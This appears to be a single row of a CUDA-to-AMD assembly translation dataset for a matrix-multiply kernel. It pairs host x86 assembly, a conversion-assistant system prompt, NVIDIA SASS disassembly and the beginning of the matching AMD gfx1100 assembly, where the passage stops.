.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.Lfunc_end1:
.size main, .Lfunc_end1-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB2_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB2_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z6matMulPfS_S_ii, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end2:
.size __hip_module_ctor, .Lfunc_end2-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB3_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB3_2:
retq
.Lfunc_end3:
.size __hip_module_dtor, .Lfunc_end3-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z6matMulPfS_S_ii,@object # @_Z6matMulPfS_S_ii
.section .rodata,"a",@progbits
.globl _Z6matMulPfS_S_ii
.p2align 3, 0x0
_Z6matMulPfS_S_ii:
.quad _Z21__device_stub__matMulPfS_S_ii
.size _Z6matMulPfS_S_ii, 8
.type .L.str.1,@object # @.str.1
.section .rodata.str1.1,"aMS",@progbits,1
.L.str.1:
.asciz "%.2f"
.size .L.str.1, 5
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z6matMulPfS_S_ii"
.size .L__unnamed_1, 18
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.type .Lstr,@object # @str
.section .rodata.str1.1,"aMS",@progbits,1
.Lstr:
.asciz "\n\nMatriz resultante:"
.size .Lstr, 21
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z21__device_stub__matMulPfS_S_ii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z6matMulPfS_S_ii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z6matMulPfS_S_ii
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000e280000002500 */
/*0020*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e280000002100 */
/*0030*/ S2R R2, SR_CTAID.Y ; /* 0x0000000000027919 */
/* 0x000e680000002600 */
/*0040*/ S2R R5, SR_TID.Y ; /* 0x0000000000057919 */
/* 0x000e620000002200 */
/*0050*/ IMAD R0, R0, c[0x0][0x0], R3 ; /* 0x0000000000007a24 */
/* 0x001fca00078e0203 */
/*0060*/ ISETP.GE.AND P0, PT, R0, c[0x0][0x17c], PT ; /* 0x00005f0000007a0c */
/* 0x000fe20003f06270 */
/*0070*/ IMAD R3, R2, c[0x0][0x4], R5 ; /* 0x0000010002037a24 */
/* 0x002fca00078e0205 */
/*0080*/ ISETP.GE.OR P0, PT, R3, c[0x0][0x178], P0 ; /* 0x00005e0003007a0c */
/* 0x000fda0000706670 */
/*0090*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*00a0*/ MOV R2, c[0x0][0x17c] ; /* 0x00005f0000027a02 */
/* 0x000fe20000000f00 */
/*00b0*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe20000000a00 */
/*00c0*/ HFMA2.MMA R28, -RZ, RZ, 0, 0 ; /* 0x00000000ff1c7435 */
/* 0x000fe200000001ff */
/*00d0*/ IMAD R3, R3, c[0x0][0x17c], RZ ; /* 0x00005f0003037a24 */
/* 0x000fe200078e02ff */
/*00e0*/ ISETP.GE.AND P0, PT, R2, 0x1, PT ; /* 0x000000010200780c */
/* 0x000fda0003f06270 */
/*00f0*/ @!P0 BRA 0xc00 ; /* 0x00000b0000008947 */
/* 0x000fea0003800000 */
/*0100*/ IADD3 R4, R2.reuse, -0x1, RZ ; /* 0xffffffff02047810 */
/* 0x040fe40007ffe0ff */
/*0110*/ LOP3.LUT R5, R2, 0x3, RZ, 0xc0, !PT ; /* 0x0000000302057812 */
/* 0x000fe400078ec0ff */
/*0120*/ ISETP.GE.U32.AND P0, PT, R4, 0x3, PT ; /* 0x000000030400780c */
/* 0x000fe40003f06070 */
/*0130*/ MOV R28, RZ ; /* 0x000000ff001c7202 */
/* 0x000fe40000000f00 */
/*0140*/ MOV R4, RZ ; /* 0x000000ff00047202 */
/* 0x000fd20000000f00 */
/*0150*/ @!P0 BRA 0xb00 ; /* 0x000009a000008947 */
/* 0x000fea0003800000 */
/*0160*/ IADD3 R6, -R5, c[0x0][0x17c], RZ ; /* 0x00005f0005067a10 */
/* 0x000fe20007ffe1ff */
/*0170*/ HFMA2.MMA R25, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff197435 */
/* 0x000fe200000001ff */
/*0180*/ ULDC.64 UR6, c[0x0][0x160] ; /* 0x0000580000067ab9 */
/* 0x000fe20000000a00 */
/*0190*/ HFMA2.MMA R4, -RZ, RZ, 0, 0 ; /* 0x00000000ff047435 */
/* 0x000fe200000001ff */
/*01a0*/ ISETP.GT.AND P0, PT, R6, RZ, PT ; /* 0x000000ff0600720c */
/* 0x000fe40003f04270 */
/*01b0*/ MOV R28, RZ ; /* 0x000000ff001c7202 */
/* 0x000fca0000000f00 */
/*01c0*/ IMAD.WIDE R24, R0, R25, c[0x0][0x168] ; /* 0x00005a0000187625 */
/* 0x000fcc00078e0219 */
/*01d0*/ @!P0 BRA 0x970 ; /* 0x0000079000008947 */
/* 0x000fea0003800000 */
/*01e0*/ ISETP.GT.AND P1, PT, R6, 0xc, PT ; /* 0x0000000c0600780c */
/* 0x000fe40003f24270 */
/*01f0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fd60003f0f070 */
/*0200*/ @!P1 BRA 0x6b0 ; /* 0x000004a000009947 */
/* 0x000fea0003800000 */
/*0210*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0220*/ MOV R12, UR6 ; /* 0x00000006000c7c02 */
/* 0x000fe20008000f00 */
/*0230*/ LDG.E R29, [R24.64] ; /* 0x00000004181d7981 */
/* 0x0000a2000c1e1900 */
/*0240*/ MOV R13, UR7 ; /* 0x00000007000d7c02 */
/* 0x000fca0008000f00 */
/*0250*/ IMAD.WIDE R12, R3, 0x4, R12 ; /* 0x00000004030c7825 */
/* 0x000fca00078e020c */
/*0260*/ LDG.E R27, [R12.64] ; /* 0x000000040c1b7981 */
/* 0x000ea2000c1e1900 */
/*0270*/ IMAD.WIDE R10, R2, 0x4, R24 ; /* 0x00000004020a7825 */
/* 0x000fc600078e0218 */
/*0280*/ LDG.E R17, [R12.64+0x4] ; /* 0x000004040c117981 */
/* 0x000ee6000c1e1900 */
/*0290*/ IMAD.WIDE R18, R2.reuse, 0x4, R10 ; /* 0x0000000402127825 */
/* 0x040fe200078e020a */
/*02a0*/ LDG.E R16, [R10.64] ; /* 0x000000040a107981 */
/* 0x0002e8000c1e1900 */
/*02b0*/ LDG.E R7, [R12.64+0xc] ; /* 0x00000c040c077981 */
/* 0x000f22000c1e1900 */
/*02c0*/ IMAD.WIDE R14, R2, 0x4, R18 ; /* 0x00000004020e7825 */
/* 0x000fc600078e0212 */
/*02d0*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x000b26000c1e1900 */
/*02e0*/ IMAD.WIDE R20, R2.reuse, 0x4, R14 ; /* 0x0000000402147825 */
/* 0x040fe200078e020e */
/*02f0*/ LDG.E R26, [R14.64] ; /* 0x000000040e1a7981 */
/* 0x000128000c1e1900 */
/*0300*/ LDG.E R9, [R12.64+0x10] ; /* 0x000010040c097981 */
/* 0x000f28000c1e1900 */
/*0310*/ LDG.E R19, [R12.64+0x8] ; /* 0x000008040c137981 */
/* 0x020f22000c1e1900 */
/*0320*/ IMAD.WIDE R14, R2, 0x4, R20 ; /* 0x00000004020e7825 */
/* 0x001fc600078e0214 */
/*0330*/ LDG.E R20, [R20.64] ; /* 0x0000000414147981 */
/* 0x000166000c1e1900 */
/*0340*/ IMAD.WIDE R22, R2.reuse, 0x4, R14 ; /* 0x0000000402167825 */
/* 0x040fe200078e020e */
/*0350*/ LDG.E R8, [R14.64] ; /* 0x000000040e087981 */
/* 0x000168000c1e1900 */
/*0360*/ LDG.E R11, [R12.64+0x14] ; /* 0x000014040c0b7981 */
/* 0x002f62000c1e1900 */
/*0370*/ IMAD.WIDE R24, R2, 0x4, R22 ; /* 0x0000000402187825 */
/* 0x000fc600078e0216 */
/*0380*/ LDG.E R10, [R22.64] ; /* 0x00000004160a7981 */
/* 0x000368000c1e1900 */
/*0390*/ LDG.E R21, [R12.64+0x18] ; /* 0x000018040c157981 */
/* 0x001f62000c1e1900 */
/*03a0*/ FFMA R29, R29, R27, R28 ; /* 0x0000001b1d1d7223 */
/* 0x004fc6000000001c */
/*03b0*/ LDG.E R27, [R12.64+0x1c] ; /* 0x00001c040c1b7981 */
/* 0x000ea8000c1e1900 */
/*03c0*/ LDG.E R28, [R24.64] ; /* 0x00000004181c7981 */
/* 0x0000a2000c1e1900 */
/*03d0*/ IMAD.WIDE R14, R2, 0x4, R24 ; /* 0x00000004020e7825 */
/* 0x000fc800078e0218 */
/*03e0*/ FFMA R29, R16, R17, R29 ; /* 0x00000011101d7223 */
/* 0x008fe4000000001d */
/*03f0*/ IMAD.WIDE R16, R2, 0x4, R14 ; /* 0x0000000402107825 */
/* 0x000fe400078e020e */
/*0400*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x0006a4000c1e1900 */
/*0410*/ FFMA R29, R18, R19, R29 ; /* 0x00000013121d7223 */
/* 0x010fe4000000001d */
/*0420*/ IMAD.WIDE R18, R2, 0x4, R16 ; /* 0x0000000402127825 */
/* 0x000fe400078e0210 */
/*0430*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x0008a4000c1e1900 */
/*0440*/ FFMA R26, R26, R7, R29 ; /* 0x000000071a1a7223 */
/* 0x000fc4000000001d */
/*0450*/ IMAD.WIDE R22, R2.reuse, 0x4, R18 ; /* 0x0000000402167825 */
/* 0x042fe200078e0212 */
/*0460*/ LDG.E R7, [R12.64+0x20] ; /* 0x000020040c077981 */
/* 0x000ea8000c1e1900 */
/*0470*/ LDG.E R29, [R12.64+0x24] ; /* 0x000024040c1d7981 */
/* 0x000ea2000c1e1900 */
/*0480*/ IMAD.WIDE R24, R2, 0x4, R22 ; /* 0x0000000402187825 */
/* 0x001fc600078e0216 */
/*0490*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x0000a2000c1e1900 */
/*04a0*/ FFMA R9, R20, R9, R26 ; /* 0x0000000914097223 */
/* 0x020fc6000000001a */
/*04b0*/ LDG.E R26, [R12.64+0x28] ; /* 0x000028040c1a7981 */
/* 0x000f62000c1e1900 */
/*04c0*/ FFMA R11, R8, R11, R9 ; /* 0x0000000b080b7223 */
/* 0x000fe40000000009 */
/*04d0*/ IMAD.WIDE R8, R2, 0x4, R24 ; /* 0x0000000402087825 */
/* 0x000fe200078e0218 */
/*04e0*/ LDG.E R22, [R22.64] ; /* 0x0000000416167981 */
/* 0x000368000c1e1900 */
/*04f0*/ LDG.E R17, [R12.64+0x2c] ; /* 0x00002c040c117981 */
/* 0x010f22000c1e1900 */
/*0500*/ FFMA R21, R10, R21, R11 ; /* 0x000000150a157223 */
/* 0x000fc6000000000b */
/*0510*/ LDG.E R15, [R24.64] ; /* 0x00000004180f7981 */
/* 0x008722000c1e1900 */
/*0520*/ IMAD.WIDE R10, R2, 0x4, R8 ; /* 0x00000004020a7825 */
/* 0x000fc600078e0208 */
/*0530*/ LDG.E R19, [R8.64] ; /* 0x0000000408137981 */
/* 0x001128000c1e1900 */
/*0540*/ LDG.E R23, [R10.64] ; /* 0x000000040a177981 */
/* 0x002f28000c1e1900 */
/*0550*/ LDG.E R24, [R12.64+0x30] ; /* 0x000030040c187981 */
/* 0x008ee8000c1e1900 */
/*0560*/ LDG.E R25, [R12.64+0x38] ; /* 0x000038040c197981 */
/* 0x000ee8000c1e1900 */
/*0570*/ LDG.E R8, [R12.64+0x3c] ; /* 0x00003c040c087981 */
/* 0x001ee2000c1e1900 */
/*0580*/ FFMA R9, R28, R27, R21 ; /* 0x0000001b1c097223 */
/* 0x004fc60000000015 */
/*0590*/ LDG.E R28, [R12.64+0x34] ; /* 0x000034040c1c7981 */
/* 0x000ea2000c1e1900 */
/*05a0*/ IMAD.WIDE R20, R2, 0x4, R10 ; /* 0x0000000402147825 */
/* 0x000fca00078e020a */
/*05b0*/ LDG.E R27, [R20.64] ; /* 0x00000004141b7981 */
/* 0x000ea2000c1e1900 */
/*05c0*/ IADD3 R6, R6, -0x10, RZ ; /* 0xfffffff006067810 */
/* 0x000fc80007ffe0ff */
/*05d0*/ ISETP.GT.AND P1, PT, R6, 0xc, PT ; /* 0x0000000c0600780c */
/* 0x000fe20003f24270 */
/*05e0*/ FFMA R7, R14, R7, R9 ; /* 0x000000070e077223 */
/* 0x000fc80000000009 */
/*05f0*/ FFMA R7, R16, R29, R7 ; /* 0x0000001d10077223 */
/* 0x000fc80000000007 */
/*0600*/ FFMA R7, R18, R26, R7 ; /* 0x0000001a12077223 */
/* 0x020fc80000000007 */
/*0610*/ FFMA R7, R22, R17, R7 ; /* 0x0000001116077223 */
/* 0x010fe20000000007 */
/*0620*/ UIADD3 UR6, UP0, UR6, 0x40, URZ ; /* 0x0000004006067890 */
/* 0x000fe2000ff1e03f */
/*0630*/ IADD3 R4, R4, 0x10, RZ ; /* 0x0000001004047810 */
/* 0x000fc60007ffe0ff */
/*0640*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*0650*/ FFMA R7, R15, R24, R7 ; /* 0x000000180f077223 */
/* 0x008fc80000000007 */
/*0660*/ FFMA R28, R19, R28, R7 ; /* 0x0000001c131c7223 */
/* 0x004fc80000000007 */
/*0670*/ FFMA R28, R23, R25, R28 ; /* 0x00000019171c7223 */
/* 0x000fe4000000001c */
/*0680*/ IMAD.WIDE R24, R2, 0x4, R20 ; /* 0x0000000402187825 */
/* 0x000fc800078e0214 */
/*0690*/ FFMA R28, R27, R8, R28 ; /* 0x000000081b1c7223 */
/* 0x000fe2000000001c */
/*06a0*/ @P1 BRA 0x220 ; /* 0xfffffb7000001947 */
/* 0x000fea000383ffff */
/*06b0*/ ISETP.GT.AND P1, PT, R6, 0x4, PT ; /* 0x000000040600780c */
/* 0x000fda0003f24270 */
/*06c0*/ @!P1 BRA 0x950 ; /* 0x0000028000009947 */
/* 0x000fea0003800000 */
/*06d0*/ IMAD.WIDE R16, R2, 0x4, R24 ; /* 0x0000000402107825 */
/* 0x000fe200078e0218 */
/*06e0*/ MOV R8, UR6 ; /* 0x0000000600087c02 */
/* 0x000fe20008000f00 */
/*06f0*/ LDG.E R7, [R24.64] ; /* 0x0000000418077981 */
/* 0x0000a2000c1e1900 */
/*0700*/ MOV R9, UR7 ; /* 0x0000000700097c02 */
/* 0x000fc60008000f00 */
/*0710*/ IMAD.WIDE R12, R2.reuse, 0x4, R16 ; /* 0x00000004020c7825 */
/* 0x040fe200078e0210 */
/*0720*/ LDG.E R21, [R16.64] ; /* 0x0000000410157981 */
/* 0x0002e6000c1e1900 */
/*0730*/ IMAD.WIDE R8, R3, 0x4, R8 ; /* 0x0000000403087825 */
/* 0x000fe200078e0208 */
/*0740*/ LDG.E R23, [R12.64] ; /* 0x000000040c177981 */
/* 0x000966000c1e1900 */
/*0750*/ IMAD.WIDE R14, R2.reuse, 0x4, R12 ; /* 0x00000004020e7825 */
/* 0x040fe200078e020c */
/*0760*/ LDG.E R20, [R8.64] ; /* 0x0000000408147981 */
/* 0x000ea8000c1e1900 */
/*0770*/ LDG.E R22, [R8.64+0x4] ; /* 0x0000040408167981 */
/* 0x000ee2000c1e1900 */
/*0780*/ IMAD.WIDE R10, R2, 0x4, R14 ; /* 0x00000004020a7825 */
/* 0x000fc600078e020e */
/*0790*/ LDG.E R26, [R8.64+0x8] ; /* 0x00000804081a7981 */
/* 0x000f66000c1e1900 */
/*07a0*/ IMAD.WIDE R16, R2.reuse, 0x4, R10 ; /* 0x0000000402107825 */
/* 0x042fe200078e020a */
/*07b0*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000368000c1e1900 */
/*07c0*/ LDG.E R27, [R8.64+0xc] ; /* 0x00000c04081b7981 */
/* 0x000f62000c1e1900 */
/*07d0*/ IMAD.WIDE R18, R2, 0x4, R16 ; /* 0x0000000402127825 */
/* 0x000fc600078e0210 */
/*07e0*/ LDG.E R10, [R10.64] ; /* 0x000000040a0a7981 */
/* 0x000368000c1e1900 */
/*07f0*/ LDG.E R25, [R8.64+0x10] ; /* 0x0000100408197981 */
/* 0x001f62000c1e1900 */
/*0800*/ IMAD.WIDE R12, R2, 0x4, R18 ; /* 0x00000004020c7825 */
/* 0x010fc600078e0212 */
/*0810*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000f28000c1e1900 */
/*0820*/ LDG.E R29, [R8.64+0x14] ; /* 0x00001404081d7981 */
/* 0x000f28000c1e1900 */
/*0830*/ LDG.E R24, [R18.64] ; /* 0x0000000412187981 */
/* 0x000128000c1e1900 */
/*0840*/ LDG.E R11, [R8.64+0x18] ; /* 0x00001804080b7981 */
/* 0x002f28000c1e1900 */
/*0850*/ LDG.E R15, [R12.64] ; /* 0x000000040c0f7981 */
/* 0x000f28000c1e1900 */
/*0860*/ LDG.E R18, [R8.64+0x1c] ; /* 0x00001c0408127981 */
/* 0x001f22000c1e1900 */
/*0870*/ UIADD3 UR6, UP0, UR6, 0x20, URZ ; /* 0x0000002006067890 */
/* 0x000fe2000ff1e03f */
/*0880*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fc40003f0e170 */
/*0890*/ IADD3 R4, R4, 0x8, RZ ; /* 0x0000000804047810 */
/* 0x000fe40007ffe0ff */
/*08a0*/ IADD3 R6, R6, -0x8, RZ ; /* 0xfffffff806067810 */
/* 0x000fe20007ffe0ff */
/*08b0*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*08c0*/ FFMA R7, R7, R20, R28 ; /* 0x0000001407077223 */
/* 0x004fc8000000001c */
/*08d0*/ FFMA R7, R21, R22, R7 ; /* 0x0000001615077223 */
/* 0x008fc80000000007 */
/*08e0*/ FFMA R7, R23, R26, R7 ; /* 0x0000001a17077223 */
/* 0x020fc80000000007 */
/*08f0*/ FFMA R7, R14, R27, R7 ; /* 0x0000001b0e077223 */
/* 0x000fc80000000007 */
/*0900*/ FFMA R7, R10, R25, R7 ; /* 0x000000190a077223 */
/* 0x000fc80000000007 */
/*0910*/ FFMA R7, R16, R29, R7 ; /* 0x0000001d10077223 */
/* 0x010fc80000000007 */
/*0920*/ FFMA R7, R24, R11, R7 ; /* 0x0000000b18077223 */
/* 0x000fe40000000007 */
/*0930*/ IMAD.WIDE R24, R2, 0x4, R12 ; /* 0x0000000402187825 */
/* 0x000fc800078e020c */
/*0940*/ FFMA R28, R15, R18, R7 ; /* 0x000000120f1c7223 */
/* 0x000fe40000000007 */
/*0950*/ ISETP.NE.OR P0, PT, R6, RZ, P0 ; /* 0x000000ff0600720c */
/* 0x000fda0000705670 */
/*0960*/ @!P0 BRA 0xb00 ; /* 0x0000019000008947 */
/* 0x000fea0003800000 */
/*0970*/ MOV R8, UR6 ; /* 0x0000000600087c02 */
/* 0x000fe20008000f00 */
/*0980*/ IMAD.WIDE R14, R2, 0x4, R24 ; /* 0x00000004020e7825 */
/* 0x000fe200078e0218 */
/*0990*/ MOV R9, UR7 ; /* 0x0000000700097c02 */
/* 0x000fe20008000f00 */
/*09a0*/ LDG.E R25, [R24.64] ; /* 0x0000000418197981 */
/* 0x000ea8000c1e1900 */
/*09b0*/ IMAD.WIDE R8, R3, 0x4, R8 ; /* 0x0000000403087825 */
/* 0x000fc800078e0208 */
/*09c0*/ IMAD.WIDE R12, R2.reuse, 0x4, R14 ; /* 0x00000004020c7825 */
/* 0x040fe200078e020e */
/*09d0*/ LDG.E R7, [R8.64] ; /* 0x0000000408077981 */
/* 0x000ea8000c1e1900 */
/*09e0*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000ee2000c1e1900 */
/*09f0*/ IMAD.WIDE R10, R2, 0x4, R12 ; /* 0x00000004020a7825 */
/* 0x000fc600078e020c */
/*0a00*/ LDG.E R16, [R8.64+0x4] ; /* 0x0000040408107981 */
/* 0x000ee8000c1e1900 */
/*0a10*/ LDG.E R18, [R12.64] ; /* 0x000000040c127981 */
/* 0x000f28000c1e1900 */
/*0a20*/ LDG.E R17, [R8.64+0x8] ; /* 0x0000080408117981 */
/* 0x000f28000c1e1900 */
/*0a30*/ LDG.E R19, [R8.64+0xc] ; /* 0x00000c0408137981 */
/* 0x000f68000c1e1900 */
/*0a40*/ LDG.E R20, [R10.64] ; /* 0x000000040a147981 */
/* 0x000f62000c1e1900 */
/*0a50*/ IADD3 R6, R6, -0x4, RZ ; /* 0xfffffffc06067810 */
/* 0x000fc80007ffe0ff */
/*0a60*/ ISETP.NE.AND P0, PT, R6, RZ, PT ; /* 0x000000ff0600720c */
/* 0x000fe20003f05270 */
/*0a70*/ UIADD3 UR6, UP0, UR6, 0x10, URZ ; /* 0x0000001006067890 */
/* 0x000fe2000ff1e03f */
/*0a80*/ IADD3 R4, R4, 0x4, RZ ; /* 0x0000000404047810 */
/* 0x000fc60007ffe0ff */
/*0a90*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*0aa0*/ FFMA R7, R25, R7, R28 ; /* 0x0000000719077223 */
/* 0x004fc8000000001c */
/*0ab0*/ FFMA R7, R14, R16, R7 ; /* 0x000000100e077223 */
/* 0x008fe40000000007 */
/*0ac0*/ IMAD.WIDE R24, R2, 0x4, R10 ; /* 0x0000000402187825 */
/* 0x000fc800078e020a */
/*0ad0*/ FFMA R7, R18, R17, R7 ; /* 0x0000001112077223 */
/* 0x010fc80000000007 */
/*0ae0*/ FFMA R28, R20, R19, R7 ; /* 0x00000013141c7223 */
/* 0x020fe20000000007 */
/*0af0*/ @P0 BRA 0x970 ; /* 0xfffffe7000000947 */
/* 0x000fea000383ffff */
/*0b00*/ ISETP.NE.AND P0, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fda0003f05270 */
/*0b10*/ @!P0 BRA 0xc00 ; /* 0x000000e000008947 */
/* 0x000fea0003800000 */
/*0b20*/ HFMA2.MMA R9, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff097435 */
/* 0x000fe200000001ff */
/*0b30*/ IADD3 R6, R3, R4, RZ ; /* 0x0000000403067210 */
/* 0x000fe20007ffe0ff */
/*0b40*/ IMAD R4, R4, c[0x0][0x17c], R0 ; /* 0x00005f0004047a24 */
/* 0x000fd000078e0200 */
/*0b50*/ IMAD.WIDE R6, R6, R9, c[0x0][0x160] ; /* 0x0000580006067625 */
/* 0x000fc800078e0209 */
/*0b60*/ IMAD.WIDE R8, R4, R9, c[0x0][0x168] ; /* 0x00005a0004087625 */
/* 0x000fca00078e0209 */
/*0b70*/ LDG.E R11, [R8.64] ; /* 0x00000004080b7981 */
/* 0x0000a8000c1e1900 */
/*0b80*/ LDG.E R4, [R6.64] ; /* 0x0000000406047981 */
/* 0x0002a2000c1e1900 */
/*0b90*/ IADD3 R5, R5, -0x1, RZ ; /* 0xffffffff05057810 */
/* 0x000fc80007ffe0ff */
/*0ba0*/ ISETP.NE.AND P0, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fe20003f05270 */
/*0bb0*/ IMAD.WIDE R8, R2, 0x4, R8 ; /* 0x0000000402087825 */
/* 0x001fe200078e0208 */
/*0bc0*/ IADD3 R6, P1, R6, 0x4, RZ ; /* 0x0000000406067810 */
/* 0x002fc80007f3e0ff */
/*0bd0*/ IADD3.X R7, RZ, R7, RZ, P1, !PT ; /* 0x00000007ff077210 */
/* 0x000fe20000ffe4ff */
/*0be0*/ FFMA R28, R11, R4, R28 ; /* 0x000000040b1c7223 */
/* 0x004fcc000000001c */
/*0bf0*/ @P0 BRA 0xb70 ; /* 0xffffff7000000947 */
/* 0x000fea000383ffff */
/*0c00*/ IADD3 R3, R0, R3, RZ ; /* 0x0000000300037210 */
/* 0x000fe40007ffe0ff */
/*0c10*/ MOV R2, 0x4 ; /* 0x0000000400027802 */
/* 0x000fca0000000f00 */
/*0c20*/ IMAD.WIDE R2, R3, R2, c[0x0][0x170] ; /* 0x00005c0003027625 */
/* 0x000fca00078e0202 */
/*0c30*/ STG.E [R2.64], R28 ; /* 0x0000001c02007986 */
/* 0x000fe2000c101904 */
/*0c40*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0c50*/ BRA 0xc50; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0c60*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0c70*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0c80*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0c90*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0ca0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0cb0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0cc0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0cd0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0ce0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0cf0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z6matMulPfS_S_ii
.globl _Z6matMulPfS_S_ii
.p2align 8
.type _Z6matMulPfS_S_ii,@function
_Z6matMulPfS_S_ii:
s_clause 0x1
s_load_b32 s4, s[0:1], 0x2c
s_load_b64 s[2:3], s[0:1], 0x18
v_and_b32_e32 v2, 0x3ff, v0
v_bfe_u32 v3, v0, 10, 10
s_waitcnt lgkmcnt(0)
s_and_b32 s5, s4, 0xffff
s_lshr_b32 s4, s4, 16
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_mad_u64_u32 v[0:1], null, s14, s5, v[2:3]
v_mad_u64_u32 v[1:2], null, s15, s4, v[3:4]
v_cmp_gt_i32_e32 vcc_lo, s3, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cmp_gt_i32_e64 s2, s2, v1
s_and_b32 s2, vcc_lo, s2
s_delay_alu instid0(SALU_CYCLE_1)
s_and_saveexec_b32 s4, s2
s_cbranch_execz .LBB0_6
v_mul_lo_u32 v1, v1, s3
s_cmp_lt_i32 s3, 1
s_cbranch_scc1 .LBB0_4
s_load_b128 s[4:7], s[0:1], 0x0
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_3) | instid1(VALU_DEP_3)
